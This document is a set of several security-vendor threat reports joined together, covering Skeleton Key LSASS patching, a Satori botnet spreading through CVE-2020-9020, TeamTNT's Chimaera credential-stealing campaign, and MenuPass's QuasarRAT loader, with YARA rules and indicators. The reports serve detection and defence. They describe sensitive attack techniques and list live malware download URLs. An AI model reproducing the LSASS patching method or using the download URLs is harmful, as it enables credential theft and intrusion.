5. Perform OS-specific adjustments using the global variable set during the compatibility check in Step 1.
6. Use the OpenProcess function to acquire a handle to the LSASS process.
7. Reserve and allocate the required memory space to edit and patch the LSASS process's memory.
8. Patch relevant functions based on the operating system:
- CDLocateCSystem (all compatible Windows versions)
- SamIRetrieveMultiplePrimaryCredentials (only Windows 2008 R2 (6.1))
- SamIRetrievePrimaryCredentials (all compatible Windows versions other than Windows 2008 R2 (6.1))
Skeleton Key performs the following steps to patch each function:
1. Call the VirtualProtectEx function to change the memory protection to allow writing to the required memory allocations (PAGE_EXECUTE_READWRITE, 0x40). This step allows the function's code to be updated in memory.
2. Call the WriteProcessMemory function to change the address of the target function to point to the patched code. This change causes calls to the target function to use the patch instead.
3. Restore the original memory protection by calling VirtualProtectEx with the original memory protection flags. This step is likely to avoid suspicious writable and executable memory allocations.
After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Legitimate users can still log in using their own passwords. This authentication bypass applies to all services that use single-factor AD authentication, such as webmail and VPNs, and it also allows a threat actor with physical access to a compromised system to unlock the computer by typing the injected password on the keyboard.
## Possible Link to Domain Replication Issues
The Skeleton Key malware does not transmit network traffic, making network-based detection ineffective. However, the malware has been implicated in domain replication issues that may indicate an infection. Shortly after each deployment of the Skeleton Key malware observed by CTU researchers, domain controllers experienced replication issues that could not be explained or addressed by Microsoft support and eventually required a reboot to resolve. These reboots removed Skeleton Key's authentication bypass because the malware does not have a persistence mechanism.
## Countermeasures
The Skeleton Key malware bypasses authentication and does not generate network traffic. As a result, network-based intrusion detection and intrusion prevention systems (IDS/IPS) will not detect this threat. However, CTU researchers wrote the YARA signatures in Appendix A to detect a Skeleton Key DLL and the code it injects into the LSASS process's memory.
### Threat Indicators
The threat indicators can be used to detect activity related to the Skeleton Key malware.
| Indicator | Type | Context |
|------------------------------------------------------|-----------|-------------------------------------------|
| 66da7ed621149975f6e643b4f9886cfd | MD5 hash | Skeleton Key patch msuta64.dll |
| ad61e8daeeba43e442514b177a1b41ad4b7c6727 | SHA1 hash | Skeleton Key patch msuta64.dll |
| bf45086e6334f647fda33576e2a05826 | MD5 hash | Skeleton Key patch ole64.dll |
| 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 | SHA1 hash | Skeleton Key patch ole64.dll |
## Conclusion
The CTU research team recommends that organizations implement the following protections to defend against the Skeleton Key malware:
- Multi-factor authentication for all remote access solutions, including VPNs and remote email, prevents threat actors from bypassing single-factor authentication or authenticating using stolen static credentials.
- A process creation audit trail on workstations and servers, including AD domain controllers, may detect Skeleton Key deployments. Specifically, organizations should look for the following artifacts:
- Unexpected PsExec.exe processes and the use of the PsExec "-accepteula" command line argument
- Unexpected rundll32.exe processes
- Process arguments that resemble NTLM hashes (32 characters long, containing digits 0-9 and characters A-F)
- Monitoring Windows Service Control Manager events on AD domain controllers may reveal unexpected service installation events (event ID 7045) and service start/stop events (event ID 7036) for PsExec's PSEXESVC service.
## Appendix A — YARA Signatures
The following YARA signatures detect the presence of Skeleton Key on a system, by scanning either a suspicious file or a memory dump of Active Directory domain controllers suspected to contain Skeleton Key.
```yara
rule skeleton_key_patcher {
strings:
$target_process = "lsass.exe" wide
$dll1 = "cryptdll.dll"
$dll2 = "samsrv.dll"
$name = "HookDC.dll"
$patched1 = "CDLocateCSystem"
$patched2 = "SamIRetrievePrimaryCredentials"
$patched3 = "SamIRetrieveMultiplePrimaryCredentials"
condition:
all of them
}
rule skeleton_key_injected_code {
strings:
$injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 4881C458010000C3 }
$patch_CDLocateCSystem = { 48895C24084889742410574883 EC 20 48 8B FA 8BF1E8????????488BD78BCE488BD8FF5010448BD885C0 0F 88 A5 00 00004885FF0F849C00000083FE170F8593000000488B07 48 85 C0 0F 84840000004883BB4801000000757348898348010000 33 D2 }
$patch_SamIRetrievePrimaryCredential = { 48895C240848896C241048 89 742418574883EC20498BF9498BF0488BDA488BE94885D2742A 48 8B 42084885C0742166833A26751B6683384B75156683780E 73 75 0E 66 83781E4B7507B8A10200C0EB14E8????????4C8BCF4C8B C6 48 8B D348 8BCDFF5018488B5C2430488B6C2438488B7424404883 C4 20 5F C3 }
$patch_SamIRetrieveMultiplePrimaryCredential = { 48895C240848896C241048 89 6C24104889742418574883EC20418BF9498BD88BF28BE94D85 C0742B498B40084885C074226641833826751B6683384B75156683 78 0E 73 75 0E 6683781E4B7507B8A10200C0EB12E8????????448BCF 4C8B C3 8B D68BCDFF5020488B5C2430488B6C2438488B7424404883 C4 20 5F C3 }
condition:
any of them
}
``` |
# Satori: Mirai Botnet Variant Targeting Vantage Velocity Field Unit RCE Vulnerability
**Haozhe Zhang, Vaibhav Singhal, Zhibin Zhang, Jun Du**
**March 17, 2021**
**Category:** Unit 42
**Tags:** botnet, CVE-2020-9020, IoT, Mirai variant, vulnerabilities
## Executive Summary
On Feb. 20, 2021, Unit 42 researchers observed attempts to exploit CVE-2020-9020, which is a Remote Command Execution (RCE) vulnerability in Iteris’ Vantage Velocity field unit versions 2.3.1, 2.4.2, and 3.0. As a travel data measurement system, Vantage Velocity captures travel data from a large number of vehicles. If a device is compromised, it will be under the control of attackers, who can then leak sensitive data or conduct further attacks, such as Distributed Denial-of-Service (DDoS) attacks. The vulnerability has a critical rating (i.e., CVSS 3.1 score of 9.8) due to its low attack complexity but critical security impact. The exploit captured by Unit 42 researchers utilized the vulnerability to spread Satori, a Mirai botnet variant. Palo Alto Networks Next-Generation Firewall customers with security subscriptions such as Threat Prevention, WildFire, URL Filtering, and IoT Security can detect and prevent the exploit traffic and the malware.
## Vulnerability Analysis
The vulnerable devices lack a check on the `htmlNtpServer` parameter of `/cgi-bin/timeconfig.py`, allowing attackers to inject commands via crafted HTTP requests and have them executed on victims’ devices. This vulnerability was disclosed in early 2020, but the National Vulnerability Database (NVD) published it recently, not long before the exploit attempts.
## Exploit in the Wild
On Feb. 20, 2021, Palo Alto Networks Next-Generation Firewall caught the first exploit attempt. The exploit attempted to download the file `arm7` from the server `198.23.238.203` with the system command `wget` and then change the access permissions of the downloaded file to ensure it can be executed with the current user privileges. The server `198.23.238.203` was first noticed (serving a malicious shell script) by the security community on Feb. 17, 2021, according to VirusTotal. At the time of this writing, the server is still accessible. It provides an HTTP service on port 80, based on Apache2 HTTP server, that provides a malware downloading service. It also has port 5684 opened, which is believed to serve as the command and control (C2).
According to our investigation, nine samples with similar functions but different platform compatibility were found on the server. They are able to run and compromise devices across multiple mainstream architectures. Thus, these malware can be easily utilized again when the attacker changes the exploit against other target systems. The information for all nine samples is listed in the Indicators of Compromise (IoCs) section.
## Mirai Botnet Variant (Satori)
Based on our in-depth investigation into the behaviors and patterns, we believe that the malware samples hosted on the server `198.23.238.203` are highly likely to be a variant of the Mirai botnet, Satori. When executed, it prints the message “hello friend :)” to the console. Then, four child processes are spawned and detached from the main process. The malware was observed to scan port 23 of random hosts and tries to log in with its embedded password dictionary when port 23 is open.
The passwords are encrypted using the XOR algorithm with a single byte key of `0x07`. The encrypted C2 traffic over SSL was also observed between the victim and `198.23.238.203:5684`. The malware also contains multiple predefined operating system (OS) commands. Those commands are used to download and execute malicious payloads from remote C2 servers to deploy bots on new victim devices.
## Conclusion
CVE-2020-9020 is easy to exploit and can lead to RCE. After gaining control, attackers can take advantage and include the compromised devices in their botnet. Therefore, we strongly advise applying patches and upgrades when possible. Palo Alto Networks customers are protected from the vulnerability by the following products and services:
- Next-Generation Firewalls with a Threat Prevention security subscription can block the attacks with Best Practices via Threat Prevention signature 90769.
- WildFire can stop the malware with static signature detections.
- URL Filtering can block malicious malware domains.
- IoT Security can provide coverage on legacy IoT sensors.
## Indicators of Compromise (IoCs)
- `51.81.24.157`
- `198.23.238.203`
| Filename | URL | SHA256 |
|----------|-----|--------|
| arm | http://198.23.238.203/arm | 0d74227dbc3bdd74a3854d81e47cf6048da2d95c3010b953de407e5989beb066 |
| arm7 | http://198.23.238.203/arm7 | fe8e5e7041dfda470f9e2ad9abe9e0da3e43ddb5b24209e42ce0e3ebee1a7bfe |
| mips | http://198.23.238.203/mips | 320d7067d60f9ed7e7f3e9408a5d3b0a6fdccddde494c0a2a4f4e77aecb80814 |
| mipsel | http://198.23.238.203/mipsel | fbe314dc3b284ce2db1f37478338fdba8130bf44e484f5028ca92eb9326417e4 |
| powerpc | http://198.23.238.203/powerpc | 3c62d16451db32f72464a854d6aceb7c7ba2f07c38850f6a247a5243c0f473cb |
| sh4 | http://198.23.238.203/sh4 | 13ce782d393f2b4ce797747d12f377afad9d6e56c10f52948034a234654a9d30 |
| sparc | http://198.23.238.203/sparc | 985127ed1610cfca49f6dba273bb0783f20adf763e1d553c38e5a0f9f89328c3 |
| m68k | http://198.23.238.203/m68k | e458dca7ddceae3412e815e5c70e365f6cc918be2d512e69b5746ed885e80268 |
| x86_64 | http://198.23.238.203/x86_64 | 989e49f9aaff3645c40a2c40b8959e28e4ff0a645e169bb81907055a34f84dfb |
| x86_32 | http://198.23.238.203/x86_32 | 22818ae75823ee5807d5d220500eb9d5829927d57e10ce87312d1c22843fb407 | |
# TeamTNT with New Campaign aka “Chimaera”
**Executive Summary**
AT&T Alien Labs™ has discovered a new campaign by threat group TeamTNT that is targeting multiple operating systems and applications. The campaign uses multiple shell/batch scripts, new open source tools, a cryptocurrency miner, the TeamTNT IRC bot, and more. Alien Labs research indicates the command and control (C&C) server used in this newly discovered campaign contains infection statistics that suggest TeamTNT has been running this campaign since July 25, 2021, and that it is responsible for thousands of infections globally.
**Key Takeaways:**
- TeamTNT is using new, open source tools to steal usernames and passwords from infected machines.
- The group is targeting various operating systems including Windows, different Linux distributions including Alpine (used for containers), AWS, Docker, and Kubernetes.
- The campaign has been active for approximately one month and is responsible for thousands of infections globally.
- As of August 30, 2021, many malware samples still have zero antivirus (AV) detections and others have low detection rates.
**Background**
TeamTNT has been one of the most active threat groups since mid-2020. Their activity typically uses open source tools for malicious activity. A partial list of imported tools contains:
- Masscan and port scanner to search for new infection candidates
- libprocesshider for executing their bot directly from memory
- 7z to decompress downloaded files
- b374k shell which is a PHP web administrator that can be used to control infected systems
- Lazagne, an open-source tool for multiple web operating systems, which is used to collect stored credentials from numerous applications
Several recent publications, such as the one by TrendMicro, have described in detail TeamTNT campaigns, including the tools and techniques they use. One of the most recent findings (June 4, 2021) came from Palo Alto researchers who discovered the TeamTNT Chimaera repository. In July 2021, TeamTNT began running the Chimaera campaign using new tools, and they began publishing infection statistics publicly on their website for the first time.
As of the publishing of this report, many of the samples analyzed by Alien Labs have zero or low detection on VirusTotal. However, defenders can be proactive in hardening their systems. For example, due to the recent, high-profile attacks on Kubernetes — including those executed by TeamTNT — the National Security Agency (NSA) and the Cybersecurity and Infrastructure Security Agency (CISA) published “Kubernetes Hardening Guidance” in August of this year. Defenders should reference this guide to understand how to better defend against attacks like those used by TeamTNT.
**Analysis of Components Used in the “Chimaera” Campaign**
**New Credentials Stealer (“Lazagne” Component)**
The malicious script starts its activity by modifying the bash history file. This hides any future commands executed from users using the “history” command on Linux. The script then installs its dependencies (‘curl’, ‘bash’, ‘wget’, ‘pip’, ‘py3-pip’, ‘python3-pip’). Supported operating systems include different Linux distributions, such as Alpine Linux which is typically used in containers.
Once the malware is finished with its “pre-setup,” it downloads the second phase of the attack from its C&C, which includes another bash script (‘run.sh’) along with the Lazagne project. Lazagne is an open-source project available for different operating systems (Windows, Linux, and MacOS). Its developer describes the Lazagne tool as an application that can be used to retrieve multiple passwords stored on a local machine. Due to its capabilities, the tool has been added as a post-exploitation module to the pupy project.
It supports a wide range of programs, such as browsers (Chrome, Firefox, Opera, etc.), Sysadmin programs (such as CoreFTP, Putty, OpenSSH, etc.), Wifi password, mail programs, databases, etc. The full list of supported programs can be found on the Lazagne page on Github. In this phase two of the attack, the second malicious script executes the Lazagne tool, saves its output into “laZagne.out.txt,” and uploads it to the C&C using the curl command. At the end of the execution, the malware deletes any file that has been downloaded.
**Windows Component – Set Up a Cryptocurrency Miner**
For Windows operating systems, the attackers use a malicious script that downloads all the tools required for unpacking and executing the Xmrig miner. This includes the 7z tool for decompressing downloaded files and Nssm to add the miner as a service. The malware will set up the miner and then the miner will persist it in the system in two ways: 1) by adding itself as a service if the malware gains admin privileges or 2) by adding the batch file to the startup folder.
**Kubernetes Root Payload Component**
This component is mainly responsible for installing a cryptocurrency miner on infected devices, allowing the attacker to connect remotely to the system using SSH. The malicious script uses the following steps to achieve its goal:
- Disabling or uninstalling security products on infected machines, such as Aegis Authenticator, quartz, and Alibaba services (AliSecGuard, AliYunDun, AliNet etc.).
- Adding the attacker’s RSA-key to the list of known SSH hosts (allowing the attacker to connect the machine through SSH without the need for user/password in the system).
- Installing missing required tools for crypto mining.
- Modifying the host file.
- Setting up the XMRig crypto miner.
- Adding persistence for the XMR miner.
- Removing itself.
**TeamTNT IRC Bot**
As described previously this year by Lacework, TeamTNT includes ZiggyStartux in their IRC bot. Now, the bot has extended its availability to “Unix Shell & Command Function.”
**TeamTNT AWS Stealer**
Similar to the other TeamTNT components, the AWS stealer first installs missing dependencies. It then collects information from infected devices and stores the information in a temporary file “/var/tmp/TeamTNT_AWS_STEALER.txt.” This information includes:
- AWS default region
- AWS access key Id
- AWS secret access key
- AWS session token
- AWS user credentials
- AWS root credentials
- Shared credentials file
- Container credential relative URI
When finished, the malware uploads all of the stored information to its C&C using the curl command, and then it cleans up its traces.
**Conclusion**
AT&T Alien Labs has discovered new malicious files distributed by the threat actor TeamTNT. As researchers have observed of TeamTNT in older campaigns, they are focusing on stealing cloud systems credentials, using infected systems for cryptocurrency mining, and abusing victim’s machines to search and spread to other vulnerable systems. The use of open-source tools like Lazagne allows TeamTNT to stay below the radar for a while, making it more difficult for anti-virus companies to detect.
**Recommended Actions**
1. Keep your software with the latest security updates.
2. Keep minimal exposure to the Internet on Linux servers and IoT devices and use a properly configured firewall.
3. Monitor network traffic, outbound port scans, and unreasonable bandwidth usage.
**Detection Methods**
The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.
- SURICATA IDS SIGNATURES
- AV TROJAN TeamTNT AWS Credential Exfiltration
- AV TROJAN TeamTNT CnC Beacon
- AV TROJAN TeamTNT CoinMiner Payload Download to clean up other Coinminers
- AV TROJAN TeamTNT Mining Worm Credential Exfiltration
- AV TROJAN TeamTNT CoinMiner Downloader
- AV TROJAN TeamTNT IRC Bot Joining Channel
- ET TROJAN Observed TrojanSpy.SH.HADGLIDER.A Exfil Domain in DNS Query
**Appendix B. Associated Indicators (IOCs)**
The following technical indicators are associated with the reported intelligence. A list of indicators is also available in the OTX Pulse. Please note, the pulse may include other activities related but out of the scope of the report.
| TYPE | INDICATOR | DESCRIPTION |
|--------|---------------------------------------------|-----------------------------------|
| DOMAIN | chimaera[.]cc | C&C |
| IP | 85.214.149[.]236 | C&C Address |
| SHA256 | caeb6eb1ee40fc4ac1da020a9a7542cffe55d29339306f6adf2d1e20e638538a | Credentials stealer, Lazagne component |
| SHA256 | 220737c1ee400061e886eab23471f98dba38fa8e0098a018ea75d479dceece05 | Malware hash |
| SHA256 | b6f0203ddf24cd04489cbbed24059d84504a2ba904659681ad05b7d2c130d4b5 | TeamTNT IRC bot |
| SHA256 | fa9b38a2bd1acfd6b1b24af27cb82ea5620502d7e9cb8a913dceb897f2bcf87c | SSH lan spread |
| SHA256 | 721d15556bd3c22f3b4c6240ff9c6d58bfa60b73b3793fa8cdc64b9e89521c5b | Malware hash |
| SHA256 | 95809d96f85e1571a3120c7c09a7f34fa84cb5902ad5172398dc2bb0ff1dd24a | TeamTNT IRC bot |
| SHA256 | 0ae5c1ddf91f8d5e64d58eb5395bf2216cc86d462255868e98cfb70a5a21813f | Kubernetes root PayLoad |
| SHA256 | f82ea98d1dc5d14817c80937b91b381e9cd29d82367a2dfbde60cfb073ea4316 | Kubernetes root PayLoad |
| SHA256 | 2d85b47cdb87a81d5fbac6000b8ee89daa1d8a3c8fbb5d2bce7a840dd348ff1d | Kubernetes setup script |
| SHA256 | a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa | Malware hash |
| SHA256 | af2cf9af17f6db338ba3079b312f182593bad19fab9075a77698f162ce127758 | AWS stealer |
| SHA256 | 1b72088fc6d780da95465f80ab26ba094d89232ff30a41b1b0113c355cfffa57 | Malware hash |
| SHA256 | 3cc54142b5f88d03fb0552a655e32e94f366c9e3bb387404c6f381cfea506867 | SSH lan spread |
| SHA256 | a46c870d1667a3ee31d2ba8969c9024bdb521ae8aad2079b672ce8416d85e8df | TeamTNT IRC bot |
| SHA256 | 7bb1bd97dc93f0acf22eff6a5cbd9be685d18c8dbc982a24219928159c916c69 | Windows component (Cryptocurrency miner setup) |
**Appendix C. Mapped to MITRE ATT&CK**
The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:
- TA0001: Initial Access
- T1078: Valid accounts
- TA0002: Execution
- T1569: System Services
- T1059: Command and Scripting Interpreter
- T1059.004: Unix Shell
- T1059.003: Windows Command Shell
- TA0003: Persistence
- T1547: Boot or Logon Autostart Execution
- T1053: Scheduled Task/Job
- TA0005: Defense Evasion
- T1564: Hide Artifacts
- TA0006: Credential Access
- T1212: Exploitation for Credential Access
- T1528: Steal Application Access Token
- T1555: Credentials from Password Stores
- TA0008: Lateral Movement
- T1210: Exploitation of Remote Services
- TA0010: Exfiltration
- T1041: Exfiltration Over C2 Channel
- T1020: Automated Exfiltration
- TA0011: Command and Control
- T1219: Remote Access Software
- TA0040: Impact
- T1496: Resource Hijacking
**Appendix D. Reporting Context**
Alien Labs rates sources based on the Intelligence source and information reliability rating system to assess the reliability of the source and the assessed level of confidence we place on the information distributed. The following chart contains the range of possibilities, and the selection applied to this report can be found on Page 1.
**Source Reliability**
| RATING | DESCRIPTION |
|--------|-------------|
| A - Reliable | No doubt about the source's authenticity, trustworthiness, or competency. History of complete reliability. |
| B - Usually Reliable | Minor doubts. History of mostly valid information. |
| C - Fairly Reliable | Doubts. Provided valid information in the past. |
| D - Not Usually Reliable | Significant doubts. Provided valid information in the past. |
| E - Unreliable | Lacks authenticity, trustworthiness, and competency. History of invalid information. |
| F - Reliability Unknown | Insufficient information to evaluate reliability. May or may not be reliable. |
**Information Reliability**
| RATING | DESCRIPTION |
|--------|-------------|
| 1 - Confirmed | Logical, consistent with other relevant information, confirmed by independent sources. |
| 2 - Probably True | Logical, consistent with other relevant information, not confirmed. |
| 3 - Possibly True | Reasonably logical, agrees with some relevant information, not confirmed. |
| 4 - Doubtfully True | Not logical but possible, no other information on the subject, not confirmed. |
| 5 - Improbable | Not logical, contradicted by other relevant information. |
| 6 - Cannot be judged | The validity of the information cannot be determined. |
**Tags:** malware, alien labs, teamtnt, chimaera |
# Threat Spotlight: MenuPass/QuasarRAT Backdoor
## Introduction
During the latter half of 2018, BlackBerry Cylance threat researchers tracked a campaign targeting companies from several verticals across the EMEA region. The campaign seemed to be related to the MenuPass (a.k.a. APT10/Stone Panda/Red Apollo) threat actor and utilized an open-source backdoor named QuasarRAT to achieve persistence within an organization. We identified several distinct loader variants tailored to specific targets by leveraging machine learning (ML) to analyze our malware corpus. We have not observed new QuasarRAT samples in the wild since late 2018, roughly coinciding with when the FBI indicted several members of the MenuPass group.
QuasarRAT is a lightweight remote administration tool written in C#. It can collect system information, download and execute applications, upload files, log keystrokes, grab screenshots/camera captures, retrieve system passwords, and run shell commands. The remote access Trojan (RAT) is loaded by a bespoke loader (a.k.a. DILLWEED). The encrypted QuasarRAT payload is stored in the Microsoft.NET directory, decrypted into memory, and instantiated using a CLR host application. In later variants, an additional component is also used to install the RAT as a service (a.k.a. DILLJUICE).
The following technical analysis focuses on the bespoke QuasarRAT loader developed by MenuPass and modifications made to the QuasarRAT backdoor.
## Introducing the QuasarRAT Loader
### Overview
The QuasarRAT loader typically arrives as a 64-bit service DLL. Its primary purpose is to decrypt, load, and invoke an embedded .NET assembly in-memory using the CppHostCLR technique. This technique is based on code snippets from Microsoft DevCentre examples. The assembly, obfuscated with ConfuserEx, is subsequently responsible for finding, decrypting, and executing a separate malicious .NET module. The encrypted module is stored in the %WINDOWS%\Microsoft.NET directory.
During our investigation, we encountered several variants of the loader which indicated a development path lasting over a year; we were also able to locate some (but not all) of the encrypted payload files belonging to these loader variants. After decryption, we discovered that the payloads are backdoors based on the open-source code of QuasarRAT, version 2.0.0.0 and 1.3.0.0.
### Features
- Several layers of obfuscation
- Payload and its immediate loader are .NET assemblies
- Initial loader uses the CppHostCLR technique to inject and execute the .NET loader assembly
- Payload encrypted and stored under Microsoft.NET directory
- Known to load QuasarRAT, but may work with any other .NET payload
### Initial Loader and AntiLib
The initial loader binary is a 64-bit PE DLL, intended to run as a service. The DllMain function is empty, while the malicious code is contained in the ServiceMain export. Some variants include an additional randomly named export that creates the malicious service. In newer versions, this functionality was shifted to a standalone module.
The malware starts by deobfuscating an embedded next-stage executable. In the earliest variant, this is performed using simple XOR with a hardcoded 8-byte key composed of random letters. Later variants use a slightly more advanced XOR-based algorithm that requires two single-byte keys. It’s possible that this approach was implemented to thwart XOR bruteforcing attempts.
Starting with variant 3, the .NET injection mechanism is implemented inside a second stage DLL, which according to debugging strings seems to be part of a project called “AntiLib.” This DLL is reflectively loaded into memory by an obfuscated shellcode-like routine and invoked by executing an export bearing the unambiguous name: “FuckYouAnti.” Older samples do not contain this second stage library, and the .NET loading functionality is implemented directly in the initial loader.
Once executed, the "FuckYouAnti" function will decrypt the .NET loader binary using the same XOR-based algorithm with a different pair of hardcoded keys.
To load the assembly directly into memory, the malware makes use of a technique called "CppHostCLR," which is described in detail in Microsoft DevCentre. The code looks like the example code provided by Microsoft. It invokes the loader entry point using hardcoded class and method names, that are random and differ for each sample.
### String Encryption
Hardcoded .NET version strings and several persistence-related strings (in earlier variants) are encrypted using a custom algorithm. This algorithm is based on a single unit T-box implementation of AES-256, combined with 16-byte XOR. Both keys are hardcoded and differ for each sample, except for the oldest variant. The oldest variant set keys to “1234567890ABCDEF1234567890ABCDEF” and “1234567890ABCDEF” respectively and did not change between samples.
### Digital Certificates
Samples belonging to variant 3 of the loader present a valid digital signature from CONVENTION DIGITAL LTD, countersigned by Symantec.
### The .NET Loader
Once executed, the malicious assembly will iterate through all files under %WINDOWS%\Microsoft.NET and attempt to decrypt files matching a specified size. It uses an implementation of the RijndaelManaged algorithm in CBC mode. If the decryption succeeds, the malware will attempt to load the decrypted assembly and invoke the specified method.
The final payload assembly is stored as an encrypted file somewhere under the Microsoft.NET Framework directory. The framework version is hardcoded in the loader binary in an encrypted form, and in most samples set to “v4.0.30319.” The location is different per sample and the file name imitates one of the other legitimate files found in the same directory. Example paths:
- %WINDOWS%\Microsoft.NET\Framework\v4.0.30319\WPF\Fonts\GlobalSerif.CompositeFont.rsp
- %WINDOWS%\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Engine.dll.uninstall
The payload is decrypted and loaded in-memory as "Client." We have encountered two versions of the Client: 2.0.0.0 and 1.3.0.0. They are similar, both having a version string in their configuration section set to “2.0.0.0.”
## QuasarRAT Backdoor
QuasarRAT is an open-source project that proclaims to be designed for legitimate system administration and employee monitoring. Its code, together with documentation, can be found on GitHub.
### Features
- The .NET payload is a heavily obfuscated backdoor based on an open-source remote administration tool called QuasarRAT.
- The configuration is stored in a class called Settings, with sensitive string values encrypted with AES-128 in CBF mode and base64 encoded.
- The string’s decryption key is derived from the ENCRYPTIONKEY value inside Settings and is the same for all strings.
The threat actor modified the original backdoor, adding their own field in the configuration, and code for checking the Internet connectivity. If a valid URL address is specified in the last value of config, the malware will try to download the content of that URL. It will proceed with connecting to the command and control (C2) server only once the download is successful.
The backdoor communicates with the C2 server whose IP address is provided in the HOSTS value of the configuration. All communication is encrypted with AES-128 in CBF mode using KEY and AUTHKEY values from configuration.
### Additional Observations
#### Loader Variant Differences
Features common for all variants:
- Most of the samples we collected seem to be compiled with VisualStudio 2010 RTM build 30319, with the exception of variant 4, which uses a different/unknown compiler signature.
- Some strings are encrypted with an algorithm based on a custom implementation of AES256 combined with XOR.
- The .NET loader is always injected using the Microsoft CPPHostCLR method; its entry point class/method names are random and differ for each sample.
- The .NET loader is obfuscated with ConfuserEx v1.0.0.
Features common for variants 2 and newer:
- The .NET loader size is 65,536 bytes.
- The .NET loader internal name imitates a random valid file name from the .NET runtime directory.
- The second stage is encrypted using an XOR-based algorithm with two hardcoded 1-byte keys, differing for each sample.
- AES and XOR keys for string decryption are stored hardcoded as randomly generated strings, differing for each sample.
### Variant 1
- Assumed development timeline: June 2017 – December 2017
- Size of the initial loader binary: ~150 KB
- .NET loader size: 56,832 bytes
- .NET loader internal name: loader.dat/loader2.dat
- Contains only one layer of obfuscation
- Second stage encrypted with simple XOR, using a hardcoded key composed of 8 random upper/lowercase letters
- Contains a randomly named export that creates a service as a persistence mechanism
- Hardcoded string decryption keys:
- AES = 1234567890ABCDEF1234567890ABCDEF
- XOR = 1234567890ABCDEF
### Variant 2
- Assumed development timeline: January 2018
- Size of the initial loader binary: 163 - 169 KB
### Variant 3
- Assumed development timeline: February 2018
- Size of the initial loader binary: 262 KB
- A second layer of obfuscation has been added.
- A function inside ServiceMain decrypts the second stage DLL (SvcDll.dll) and shellcode-like routine that injects this DLL into memory and calls the "FuckYouAnti" export.
- 2nd stage + loader size: 163,840 bytes.
- Some samples of this version contain debugging strings.
- Some samples of this version are signed with a valid certificate from CONVENTION DIGITAL LTD issued by Symantec.
### Variant 4
- Assumed development timeline: April 2018
- Size of the initial loader: 439 KB
- 2nd stage + loader size: 236,532 bytes; there is additional ~72kb of static buffers compared to previous versions.
- Setting persistence mechanism has now been shifted to a standalone module (DILLJUICE).
### Variant 5
- Assumed development timeline: April – May 2018
- Size of the initial loader: 291 – 293 KB
- 2nd stage + loader size: 236,532 bytes.
- Second stage decryption functionality moved to a separate subroutine.
- Added printing of a random base64 string of a random length between 2,000 and 5,000 bytes, possibly as a simple polymorphic measure (only version 5).
- In several later samples from that variant, the FuckYouAnti function from AntiLib creates an additional mutex "ABCDEFGHIGKLMNOPQRSTUVWXYZ.”
### Variant 6
- Assumed development timeline: July – August 2018
- Size of the initial loader: 341 – 394 KB
- 2nd stage + loader size: 236,532 bytes.
## Variants
| SHA256 | Variant | Size | File Names |
|--------|---------|------|------------|
| e24f56ed330e37b0d52d362eeb66c148d09c25721b1259900c1da5e16f70230a | 1 | 153600 | prints.dll |
| 9bbc5b8ad7fb4ce7044a2ced4433bf83b4ccc624a74f8bafb1c5932c76511308 | 1 | 153600 | EntApp.dll |
| fe65e5c089f8a09c8a526ae5582aef6530e1139d4a995eb471349de16e76ec71 | 1 | 153600 | LSMsvc.dll |
| cf08dec0b2d1e3badde626dbbc042bc507733e2454ae9a0a7aa256e04af0788d | 1 | 155136 | useracc.dll |
| 239e9bc49de3e8087dc5e8b0ce7494dabce974de220b0b04583dec5cd4af35e5 | 2 | 166912 | Sezlnsrsvc.dll |
| cf981bda89f5319a4a30d78e2a767c54dc8075dd2a499ddf79b25f12ec6edd64 | 2 | 166912 | wlytkansvc.dll |
| 41081e93880cc7eaacd24d5846ae15016eb599d745809e805deedb0b2f7d0859 | 2 | 166912 | Wbyfziosrvc.dll |
| 1ddb533be5fa167c9a6fce5d1777690f26f015fcf4bd82efebd0c5c0b1e135f2 | 2 | 167728 | tk.dll |
| 26866d6dcb229bf6142ddfdbf59bc8709343f18b372f3270d01849253f1caafb | 3 | 268872 | Mpnrrdim.dll |
| 7f7fc0db3ea3545f114ed41853e4dc3764addfa352c28b1f6643d3fdaf7076c5 | 3 | 268872 | Witwaservc.dll |
| c8c707575bb87c17ec17c4517c99229a993f80a76261191b2b89d3cb88e24aea | 3 | 268872 | Icyowsvcext.dll |
| 6037b5ce5e7eda68972c7d6dfe723968bea7b40ac05b0f8c779a1f1d542b4ae4 | 3 | 268872 | Upqmnnphost.dll |
| cc02561e5632a2c8b509761ee7a23a75e3899441f9c77d778d1a770f0f82a9b7 | 5 | 297984 | Pnniorpauto.dll, SvchostSvc.dll |
| c8f2cc7c4fdf8a748cb45f6cfb21dd97655b49dd1e13dd8cc59a5eab69cc7017 | 5 | 297984 | UsyaerDataAccessRes.dll |
| 0eff243e1253e7b360402b75d7cb5bd2d3b608405daece432954379a56e27bff | 6 | 403948 | 11-PrivateBatch.dll |
| 31f0ff80534007c054dcdbaf25f2449ee7856aceac2962f4d8463f89f61bb3b0 | 6 | 399280 | Wostqrkfolderssvc.dll |
| e8f00263b47b8564da9bc2029a18a0fec745377372f6f65a21aa2762fc626d4c | 6 | 400947 | 11-PrivateBatch.dll |
| 56f727b3ced15e9952014fc449b496bfcf3714d46899b4bb289d285b08170138 | 6 | 358867 | daoris.dll |
| 721caf6de3086cbab5a3a468b21b039545022c39dc5de1d0f438c701ecc8e9df | 6 | 349810 | updgwnphost.dll |
| f8a7e8a52de57866c6c01e9137a283c35cd934f2f92c5ace489b0b31e62eebe7 | 6 | 377236 | USHBEERDATAACCESSRES.DLL, 10-FileCopy.dll |
| f1c5a9ad5235958236b1a56a5aa26b06d0129476220c30baf0e1c57038e8cddb | N/A[1] | 79360 | ZpNxNaQ.dll, SvchostSvc.dll |
| 0aa3d394712452bba79d7a524a54aa871856b4d340daae5bf833547da0f1d844 | N/A4 | 73728 | SvchostSvc.dll |
## Summary
In testing, CylancePROTECT® detects and prevents QuasarRAT and its variants. In fact, our AI-driven security agents demonstrated a predictive advantage of over three years against the majority of current QuasarRAT samples.
## Indicators of Compromise (IOCs)
| Indicator | Type |
|-----------|------|
| CONVENTION DIGITAL LTD | Certificate |
| 52 25 B8 E2 2D 3B BC 97 3F DD 24 2F 2C 2E 70 0C | Certificate serial |
